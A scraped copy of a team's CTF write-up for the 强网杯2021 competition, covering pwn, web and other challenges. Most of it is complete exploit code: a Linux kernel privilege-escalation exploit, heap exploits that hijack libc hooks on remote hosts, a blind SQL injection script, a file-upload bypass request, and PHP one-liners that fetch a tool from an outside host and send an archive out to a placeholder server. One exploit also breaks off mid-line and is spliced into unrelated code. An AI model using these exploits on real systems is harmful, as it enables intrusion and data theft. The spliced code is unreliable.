强网杯2021 Writeup by X1cT34m 您所在的位置:网站首页 guessgame pwn 强网杯2021 Writeup by X1cT34m

强网杯2021 Writeup by X1cT34m

2024-06-03 18:07| 来源: 网络整理| 查看: 265

文章目录

1 Pwn1.1 notebook1.2 babypwn1.3 baby_diary1.4 pipeline1.5 nooutput1.6 orw1.7 shellcode2 Web2.1 Hard_pentest2.2 EasyWeb2.3 WhereIsUWebShell2.4 [强网先锋]赌徒2.5 pop_master2.6 [强网先锋]寻宝3 Crypto3.1 guess_game4 Reverse4.1 ezmath4.2 standonthegiant4.3 longtimego5 Misc5.1 签到5.2 问卷 Pwn notebook

6月12日23点25分左右提交

// gcc exp.c -o exp --static -lpthread -O3 -s #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_DATA_SIZE 0x1000000 #define SEARCH_SIZE 0x10000 #define PIPE_SIZE 0x280 int fd; int pipe_fd[2]; size_t heap[2]; size_t mod_address,cookie,kernel_base; struct args { size_t index; size_t size; char *buf; }; void note_add(size_t index,size_t size,char *p) { struct args ar; ar.index = index; ar.size = size; ar.buf = p; ioctl(fd,0x100,&ar); } void note_del(size_t index) { struct args ar; ar.index = index; ioctl(fd,0x200,&ar); } void note_edit(size_t index,size_t size,char *p) { struct args ar; ar.index = index; ar.size = size; ar.buf = p; ioctl(fd,0x300,&ar); } void gift(char *p) { struct args ar; ar.buf = p; ioctl(fd,100,&ar); } void write_to_kernel (size_t index, char *user_ptr) { write(fd,user_ptr,index); } void read_from_kernel (size_t index, char *user_ptr) { read(fd,user_ptr,index); } void errExit(char* msg) { puts(msg); exit(-1); } uint64_t fault_page, fault_page_len; void* UAF_handler(void *arg) { struct uffd_msg msg; unsigned long uffd = (unsigned long)arg; puts("[+] Handler Created"); struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready != 1) // Wainting copy_from_user/copy_to_user访问FAULT_PAGE errExit("[-] Wrong pool return value"); puts("[+] Trigger! I'm going to hang"); note_del(0); if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) errExit("[-] Error in reading uffd_msg"); assert(msg.event == UFFD_EVENT_PAGEFAULT); struct uffdio_copy uc; size_t target = cookie ^ (mod_address + 0x2500 - 0x10) ^ heap[0]; uint64_t DATA[2] = {target,0}; uc.src = (unsigned long)DATA; uc.dst = (unsigned long)fault_page; uc.len = fault_page_len; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc); // 恢复copy_from_user puts("[+] Done"); return NULL; } void register_userfault() { struct uffdio_api ua; struct uffdio_register ur; pthread_t thr; uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd ua.api = UFFD_API; ua.features = 0; if (ioctl(uffd, UFFDIO_API, &ua) == -1) errExit("[-] ioctl-UFFDIO_API"); ur.range.start = (unsigned long)fault_page; ur.range.len = fault_page_len; ur.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) errExit("[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号 if ( pthread_create(&thr, NULL, UAF_handler, (void*)uffd) ) // handler函数进行访存错误处理 errExit("[-] pthread_create"); return; } void shell(){ puts("ROOT [+]"); system("/bin/sh"); } int main() { signal(SIGSEGV, shell); fd = open("/dev/notebook", O_RDWR); if(fd < 0) _exit(-1); char *data = calloc(1,0x100); char *mem = calloc(1,MAX_DATA_SIZE); FILE *stream =popen("cat /tmp/moduleaddr | awk '{print $6}'","r"); fread(mem,0x12,1,stream); mod_address = strtoul(mem,NULL,16); printf("Mod_BASE:\t %lX\n",mod_address); note_add(0,0x60,data); note_add(1,0x60,data); gift(mem); heap[0] = *(size_t*)mem; heap[1] = *(size_t*)(mem + 0x10); printf("HEAP - 0:\t %lX\n",heap[0]); printf("HEAP - 1:\t %lX\n",heap[1]); note_del(1); note_del(0); note_add(0,0x60,data); note_add(1,0x60,data); read_from_kernel(0,mem); cookie = (*(size_t*)mem) ^ heap[0] ^ heap[1]; // cookie = 0xBCA44720644C7674; printf("XOR Cookie:\t%lX\n",cookie); fault_page = (size_t)mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); fault_page_len = 0x1000; register_userfault(); // 注册监视缺页内存 write_to_kernel(0,(char*)fault_page); // 触发缺页并挂起进程 note_del(1); *(size_t*)(data + 0xF0) = cookie ^ (mod_address + 0x2500 - 0x10); uint32_t i; size_t tmp_chunk; for(i = 0; i < 0x10; i++) { note_add(i,0x60,data); gift(mem); tmp_chunk = *(size_t*)(mem + i*0x10); if(tmp_chunk == heap[0]) { printf("Next is Target, Has Found, Index: %d\n",i); break; } if(i == 0xF) { puts("Can not Found the Target"); _exit(-1); } } // __kmalloc 0xFFFFFFFF812368D0 // xor cookie address 0xFFFFFFFF81239E1C or 0xFFFFFFFF81236960 note_add(i + 1,0x60,data); size_t BUF[0x10] = {0}; BUF[2] = mod_address + 0x168; BUF[3] = 0x4; BUF[4] = mod_address + 0x2500; BUF[5] = 0x100; write_to_kernel(i + 1,BUF); read_from_kernel(0,mem); kernel_base = ((*(uint32_t*)mem + mod_address + 0x16C) | 0xFFFFFFFF00000000) - 0x476C30; printf("Kernel_BASE:\t%lX\n",kernel_base); size_t modprobe_path = kernel_base + 0x125D2E0; BUF[0] = modprobe_path; BUF[1] = 0x10; write_to_kernel(1,BUF); strcpy(data,"/tmp/copy.sh"); write_to_kernel(0,data); system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh"); system("chmod +x /tmp/copy.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy"); close(fd); _exit(-1); } babypwn from pwn import* #context.log_level = 'DEBUG' def menu(ch): p.sendlineafter('>>>',str(ch)) def add(size): menu(1) p.sendlineafter('size:',str(size)) def free(index): menu(2) p.sendlineafter('index:',str(index)) def edit(index,content): menu(3) p.sendlineafter('index:',str(index)) p.sendafter('content:',content) def show(index): menu(4) p.sendlineafter('index:',str(index)) p = process('./main') p = remote('39.105.130.158',8888) libc = ELF('./libc.so.6') for i in range(7): add(0x100) add(0x100) add(0x100) #8 add(0x10) #9 edit(7,'\x00'*0xF0 + p64(0x100) + p64(0x121)) for i in range(7): free(i) free(7) add(0x108) edit(0,'U'*0x108) free(0) add(0xA0) #0 add(0x40) #1 for i in range(7): add(0xA0) for i in range(6): free(i + 2) for i in range(5): add(0x40) for i in range(5): free(i + 2) free(10) free(0) free(8) for i in range(7): add(0xA0) free(1) add(0xA0) #1 add(0x140) edit(8,'\x60\x87') add(0x40) #10 add(0x40) #11 edit(11,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8') libc_base = u64(p.recvuntil('\x7F',timeout = 0.2)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] log.info('LIBC:\t' + hex(libc_base)) context.arch = "amd64" free_hook = libc_base + libc.sym['__free_hook'] new_execve_env = free_hook & 0xFFFFFFFFFFFFF000 R = ''' xor rdi, rdi mov rsi, %d mov edx, 0x1000 mov eax, 0 syscall jmp rsi ''' % new_execve_env pop_rdi_ret = libc_base + 0x000000000002155F pop_rdx_ret = libc_base + 0x0000000000001B96 pop_rax_ret = libc_base + 0x00000000000439C8 pop_rsi_ret = libc_base + 0x0000000000023E6A syscall = libc_base + libc.sym['syscall'] ret = libc_base + 0x8AA Open = libc_base + libc.sym['open'] Read = libc_base + libc.sym['read'] Write = libc_base + libc.sym['write'] orw = p64(pop_rdi_ret) + p64(libc_base + libc.bss() + 0x78) orw += p64(pop_rsi_ret) + p64(0) orw += p64(Open) orw += p64(pop_rdi_ret) + p64(3) orw += p64(pop_rsi_ret) + p64(libc_base + libc.bss()) orw += p64(pop_rdx_ret) + p64(0x30) orw += p64(Read) orw += p64(pop_rdi_ret) + p64(1) orw += p64(Write) orw += 'flag.txt\x00' for i in range(4): add(0x140) free(12) free(13) free(14) free(15) free(10) edit(8,p64(libc_base + libc.bss())) add(0x140) #10 add(0x140) #12 edit(12,orw) free(10) edit(8,p64(libc_base + libc.sym['__free_hook'])) add(0x140) #10 frame = SigreturnFrame() frame.rsp = libc_base + libc.bss() frame.rip = pop_rdi_ret + 1 frame.rdi = new_execve_env frame.rsi = 0x1000 frame.rdx = 4 | 2 | 1 edit(10,str(frame)) add(0x140) #13 sleep(1) edit(13,p64(libc_base + libc.sym['setcontext'] + 53)) ###################### free(10) p.interactive() baby_diary from pwn import* def menu(ch): p.sendlineafter('>> ',str(ch)) def new(size,content): menu(1) p.sendlineafter('size:',str(size)) p.sendlineafter('content:',content) def show(index): menu(2) p.sendlineafter('index:',str(index)) def free(index): menu(3) p.sendlineafter('index:',str(index)) libc = ELF('./libc-2.31.so') while(1): p = remote('8.140.114.72',1399) try: for i in range(2): new(0x2000,'\x00') new(0x1000 - 0x2F0 - 0x5F0,'\x00') new(0x4F0 ,'\x00') #3 new(0x107,'\x00') new(0x500 ,'\x00') #5 new(0x107,'\x00') #6 - 7 -8 new(0x107,'\x00') new(0x107 - 0x60,'\x00') new(0x510 ,'\x00') #9 new(0x107,'\x00') new(0x4F0,'\x00') #11 new(0x107,'\x00') #12 free(3) free(5) free(9) new(0x1000,'\x00') free(3) new(0x500,'\x00'*7 + '\x71' + p64(0xE01)[0:7]) # 3 new(0x4F0,'\x00'*0x10+ '\x00') # 5 free(11) new(0x1000,'\x00') # 9 free(9) new(0x510,'\x00') #9 new(0x4F0,'\x00'*0x20) #11 free(10) new(0x107,'\x00'*0x107) #10 free(10) new(0x107,'\x00'*0xFF + '\xE0') #10 #gdb.attach(p,"source 1.s") free(11) new(0x500 - 0x10,'FMYY') #11 show(6) libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 log.info('LIBC:\t' + hex(libc_base)) free(12) free(7) new(0x130,'\x00'*0x108 + p64(0x111) + p64(libc_base + libc.sym['__free_hook'])) #7 new(0xCB0,'/bin/sh\x00') #12 new(0x100,p64(libc_base + libc.sym['system'])) new(0x100,p64(libc_base + libc.sym['system'])) free(12) break except: p.close() continue p.sendline('cat flag') log.info("[+]FLAG:\t" + p.recv(100)) p.interactive() pipeline from pwn import* def menu(ch): p.sendlineafter('>> ',str(ch)) def new(): menu(1) def make(index,off,size): menu(2) p.sendlineafter('index:',str(index)) p.sendlineafter('offset:',str(off)) p.sendlineafter('size:',str(size)) def free(index): menu(3) p.sendlineafter('index:',str(index)) def edit(index,size,content): menu(4) p.sendlineafter('index:',str(index)) p.sendlineafter('size:',str(size)) p.sendafter('data:',content) def show(index): menu(5) p.sendlineafter('index:',str(index)) p = process('./main') p = remote('59.110.173.239',2399) libc = ELF('./libc-2.31.so') for i in range(7): new() for i in range(7): make(i,0,0x10) for i in range(7): make(i,0,0) new() make(0,0,0x10) show(0) p.recvuntil('data: ') heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x420 log.info('HEAP:\t' + hex(heap_base)) make(0,0,0x20) new() make(1,0,0x1F0) new() make(2,0,0x1F0) new() make(3,0,0x1F0) new() make(4,0,0x1F0) edit(0,0xFFFF0030,'\x00'*0x28 + p64(0x601)) make(1,0,0) make(1,0,0x1F0) show(2) libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 log.info('LIBC:\t' + hex(libc_base)) new() make(5,0,0x1F0) new() make(6,0,0x1F0) for i in range(7): free(i) new() make(5,0,0x80) new() make(6,0,0x90) edit(5,0xFFFF0200,'/bin/sh\x00' + '\x00'*0x80 + p64(0x21) + p64(libc_base + libc.sym['__free_hook']) + p32(0) + p32(0x10) + '\n') edit(6,0x10,p64(libc_base + libc.sym['system']) + '\n') make(5,0,0) p.interactive() nooutput from pwn import* r=remote('39.105.138.97',1234) #r=process('./main') context.binary=elf=ELF("./main") context(os='linux',arch='i386',log_level='debug') read_plt=0x80490C0 open_plt=0x80490F0 read_got=0x804C010 open_got=0x804c01c pop_ebx=0x08049022 ppp=0x8049580 leave=0x80491a5 bss=0x804C800 main=0x8049236 #gdb.attach(r,'b *0x8049267') r.send(p32(0)+'a'*0x2c) r.send('a'*0x20) r.send('hello_boy'.ljust(0x10,'\x00')) r.sendline(str(-0x80000000)) r.sendline(str(-1)) payload='\x00'*0x4c payload+=p32(read_plt)+p32(ppp)+p32(0)+p32(bss)+p32(0x100) payload+=p32(bss)+p32(leave) r.send(payload.ljust(0x100,'\x00')) msg='/bin/sh' PLT=0x8049030 rel_plt=0x8048414 index_offset=(bss+28)-rel_plt dynsym=0x8048248 dynstr=0x8048318 fake_sym_addr=bss+36 align=0x10-((fake_sym_addr-dynsym) & 0xf) fake_sym_addr+=align index_dynsym=(fake_sym_addr-dynsym)/0x10 r_info=(index_dynsym3): flag+=possible_list[i] print flag break index=index+1 if (flag[len(flag)-1]=='}'): break Web Hard_pentest

shiro rememberme白给,用工具 CommonsCollections10 一把梭

java -jar .\shiro_tool.jar http://eci-2ze7erauybavuxsj2alf.cloudeci1.ichunqiu.com:8888

shell弹出来,/flag是www-data的700权限,读取不了

用php出网下载和上传文件:

php -r "copy('http://xxx/tshd','/tmp/wh1sper/tshd');" php -r "fwrite(fsockopen('xxx',8082),fread(fopen('/tmp/wh1sper/apache2.tar','r'),filesize('/tmp/wh1sper/apache2.tar')));" 强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

在ports.conf里面发现8005,是个tp3

上msf,上socks;

访问本机8005端口,看到是baocms,网上找到源码,代码审计:

Tudou\Lib\Action\Wap\CommonAction.class.php 强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

发现有模板包含加路径穿越,在传入的模板名后拼接.html,模板名可控 于是写入php读文件然后包含即可:

强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室 强网杯2021 Writeup by X1cT34m-小绿草信息安全实验室

EasyWeb

根据提示扫35000-40000端口得到36842端口

访问是个web服务,需要登录,简单测了一下是时间盲注

exp:

import requests import time def timeInjection(): URL = "http://121.42.242.238:36842/account/login" result = "" payload = "-1'||if((ascii(substr((select password from easyweb.employee limit 1),{},1))={}),sleep(2),0)#" for i in range(1,100): for j in range(32,128): tmp_payload = payload.format(i,j) params = { 'username':tmp_payload, 'password':"1" } start_time = time.time() requests.post(url = URL, data=params) if time.time() - start_time > 2: result += chr(j) print(result) print(time.time() - start_time) break else: pass timeInjection() #easyweb #employee #admin 99f609527226e076d668668582ac4420

登录后扫目录发现/file/路由存在文件上传

可以换行绕过文件名过滤:

poc:

POST /file/ HTTP/1.1 Host: 121.42.242.238:36842 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------34604615483941596614945285015 Content-Length: 233 Connection: close Cookie: ci_session=4b82egoiesr4q1stblq264khvbpn036p; id=1; code=dYQZRecwcHEB5932PB1RbvX44wmYwKNJ Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache -----------------------------34604615483941596614945285015 Content-Disposition: form-data; name="file"; filename="a\. php" Content-Type: image/jpeg


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有